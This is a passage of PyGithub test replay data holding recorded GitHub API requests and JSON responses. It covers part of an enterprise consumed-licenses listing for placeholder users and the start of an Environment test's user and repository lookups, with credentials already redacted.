collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user071","github_com_name":"beaver-user071","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user071","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user072","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user072","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user073","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user073","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user074","github_com_name":"beaver-user074","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user074","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user075","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user075","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user076","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user076","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user077","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user077","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user078","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user078","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user079","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user079","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user080","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user080","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user081","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user081","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user082","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user082","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user083","github_com_name":"beaver-user083","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user083","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user084","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user084","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user085","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user085","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user086","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user086","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user087","github_com_name":"beaver-user087","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user087","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user088","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user088","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user089","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user089","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user090","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user090","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} https GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1d436b78f7cd5021a418b048a8958845726638e088319edfa2898c2ae23c1ce1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4825'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '175'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '36DD:03FA:2DE97B:304197:64C1FE3A')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user091","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user091","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user092","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user092","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user093","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user093","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user094","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user094","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user095","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user095","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user096","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user096","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user097","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user097","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user098","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user098","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user099","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user099","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user100","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user100","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user101","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user101","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user102","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user102","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":false,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.setUp.txt0000644000175100001660000005477514756101563022344 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"deb192848286d837e1a96d0d833bc7f7fa450e5c76fdb55353d9d99f92044c2f"'), ('Last-Modified', 'Mon, 11 Apr 2022 10:43:16 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F375:EF17:1BDD7E:1CEDD7:62601246')] {"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":9,"public_gists":0,"followers":5,"following":0,"created_at":"2008-08-01T14:15:46Z","updated_at":"2022-04-11T10:43:16Z"} https GET api.github.com None /repos/alson/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b9d5b0c5e350dee5ace25a78f5d53c601a0efb75b614f35aca41c37b329ec6de"'), ('Last-Modified', 'Wed, 20 Apr 2022 13:43:21 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F376:9F57:EED29:FE724:62601246')] {"id":480791541,"node_id":"R_kgDOHKhL9Q","name":"PyGithub","full_name":"alson/PyGithub","private":false,"owner":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false},"html_url":"https://github.com/alson/PyGithub","description":"Typed interactions with the GitHub API v3 (with support for Environments)","fork":true,"url":"https://api.github.com/repos/alson/PyGithub","forks_url":"https://api.github.com/repos/alson/PyGithub/forks","keys_url":"https://api.github.com/repos/alson/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alson/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alson/PyGithub/teams","hooks_url":"https://api.github.com/repos/alson/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/alson/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/alson/PyGithub/events","assignees_url":"https://api.github.com/repos/alson/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/alson/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/alson/PyGithub/tags","blobs_url":"https://api.github.com/repos/alson/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alson/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alson/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/alson/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alson/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/alson/PyGithub/languages","stargazers_url":"https://api.github.com/repos/alson/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/alson/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/alson/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/alson/PyGithub/subscription","commits_url":"https://api.github.com/repos/alson/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/alson/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/alson/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/alson/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/alson/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/alson/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alson/PyGithub/merges","archive_url":"https://api.github.com/repos/alson/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alson/PyGithub/downloads","issues_url":"https://api.github.com/repos/alson/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/alson/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/alson/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/alson/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alson/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/alson/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/alson/PyGithub/deployments","created_at":"2022-04-12T12:00:27Z","updated_at":"2022-04-20T13:43:21Z","pushed_at":"2022-04-20T13:43:11Z","git_url":"git://github.com/alson/PyGithub.git","ssh_url":"git@github.com:alson/PyGithub.git","clone_url":"https://github.com/alson/PyGithub.git","svn_url":"https://github.com/alson/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 